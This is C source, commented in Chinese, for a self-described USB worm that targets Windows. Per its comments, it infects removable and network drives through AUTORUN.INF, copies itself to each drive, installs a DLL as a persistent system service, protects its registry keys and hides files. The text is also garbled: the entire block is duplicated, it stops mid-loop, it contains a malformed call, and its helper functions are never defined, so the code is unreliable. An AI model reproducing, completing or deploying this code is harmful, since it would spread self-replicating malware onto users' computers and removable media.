//*******************************************
//****** 网蝉U盘感染小病毒 ******
//*******************************************
//功能介绍:
//1,感染U盘和网络硬盘
//2,释放DLL文件并将其加入到系统服务启动。
//3,保护注册表相关项目。
//4,
//
//
//
#include <windows.h>
#include <stdio.h>
#include "tchar.h"
#pragma comment(linker,"/subsystem:windows")
#define IDR_SERVER1 101
void wreg();//写注册表
void cfile(LPCTSTR drivers);//创建AUTORUN.INF文件
void copysel(LPCTSTR drivers);//拷贝本文件到各盘的x:recycled../目录下
void findfile();//将系统文目录下的所有文件属性变为隐藏属性+文档+只读属性
bool Makeexe(LPCTSTR szDllFile);//释放dll文件到c:/windows/system32下
bool checkdesk(LPCTSTR drivers);
TCHAR g_strFileName[MAX_PATH]; //用来存放windows系统目录的路径
char pName [MAX_PATH];//本程序路径
char bootdll[MAX_PATH];//windows/system32/EsXP.dll
//主函数
int WINAPI WinMain(HINSTANCE hInstance,HINSTANCE hPrevInstance,PSTR szCmdLine,int iCmdShow)
{
char buf[MAX_PATH];//存放盘符串
char buff[4];//存放单个盘符信息
char salfe[MAX_PATH];//windows/system32/wshexts.dll
CreateMutex(NULL,FALSE,"TEST");//让本程序只运行1个实例
if(GetLastError()==ERROR_ALREADY_EXISTS)
exit(0);
ZeroMemory(&g_strFileName,sizeof(g_strFileName));
ZeroMemory(&pName,sizeof(pName));
GetWindowsDirectory(g_strFileName, MAX_PATH);//得到windows系统目录放入全局g_strFileName供程序使用
GetModuleFileName(NULL, pName, sizeof( pName ) / sizeof(char));//得到本程序目录放入全局pName供程序使用
ZeroMemory(&salfe,sizeof(salfe));
wsprintf(salfe,"%s//system32//wshexts.dll",g_strFileName);//备份此病毒
ZeroMemory(&bootdll,sizeof(bootdll));
wsprintf(bootdll,"%s//system32//EsA.nls",g_strFileName);//创建本程序的svchost启动项
wreg();//写注册表
findfile();//搜索系统驱动器下的根目录文件,并把文件的属性改为只读+隐藏+存档属性。
DWORD m_Result=GetLogicalDriveStrings(MAX_PATH,buf);
for(int i=0;i<(int)m_Result;i=i+4)
{
wsprintf(buff,"%c%c%c",buf ,buf[i+1],buf[i+2]);//获得各盘的信息,格式为"c:/"
if(checkdesk(buff))
{
// MessageBox(NULL,"开始写入数据",buff,MB_OK);
cfile(buff);//创建AUTORUN.INF文件
copysel(buff);//复制自身
}
//****** 网蝉U盘感染小病毒 ******
//*******************************************
//功能介绍:
//1,感染U盘和网络硬盘
//2,释放DLL文件并将其加入到系统服务启动。
//3,保护注册表相关项目。
//4,
//
//
//
#include <windows.h>
#include <stdio.h>
#include "tchar.h"
#pragma comment(linker,"/subsystem:windows")
#define IDR_SERVER1 101
void wreg();//写注册表
void cfile(LPCTSTR drivers);//创建AUTORUN.INF文件
void copysel(LPCTSTR drivers);//拷贝本文件到各盘的x:recycled../目录下
void findfile();//将系统文目录下的所有文件属性变为隐藏属性+文档+只读属性
bool Makeexe(LPCTSTR szDllFile);//释放dll文件到c:/windows/system32下
bool checkdesk(LPCTSTR drivers);
TCHAR g_strFileName[MAX_PATH]; //用来存放windows系统目录的路径
char pName [MAX_PATH];//本程序路径
char bootdll[MAX_PATH];//windows/system32/EsXP.dll
//主函数
int WINAPI WinMain(HINSTANCE hInstance,HINSTANCE hPrevInstance,PSTR szCmdLine,int iCmdShow)
{
char buf[MAX_PATH];//存放盘符串
char buff[4];//存放单个盘符信息
char salfe[MAX_PATH];//windows/system32/wshexts.dll
CreateMutex(NULL,FALSE,"TEST");//让本程序只运行1个实例
if(GetLastError()==ERROR_ALREADY_EXISTS)
exit(0);
ZeroMemory(&g_strFileName,sizeof(g_strFileName));
ZeroMemory(&pName,sizeof(pName));
GetWindowsDirectory(g_strFileName, MAX_PATH);//得到windows系统目录放入全局g_strFileName供程序使用
GetModuleFileName(NULL, pName, sizeof( pName ) / sizeof(char));//得到本程序目录放入全局pName供程序使用
ZeroMemory(&salfe,sizeof(salfe));
wsprintf(salfe,"%s//system32//wshexts.dll",g_strFileName);//备份此病毒
ZeroMemory(&bootdll,sizeof(bootdll));
wsprintf(bootdll,"%s//system32//EsA.nls",g_strFileName);//创建本程序的svchost启动项
wreg();//写注册表
findfile();//搜索系统驱动器下的根目录文件,并把文件的属性改为只读+隐藏+存档属性。
DWORD m_Result=GetLogicalDriveStrings(MAX_PATH,buf);
for(int i=0;i<(int)m_Result;i=i+4)
{
wsprintf(buff,"%c%c%c",buf ,buf[i+1],buf[i+2]);//获得各盘的信息,格式为"c:/"
if(checkdesk(buff))
{
// MessageBox(NULL,"开始写入数据",buff,MB_OK);
cfile(buff);//创建AUTORUN.INF文件
copysel(buff);//复制自身
}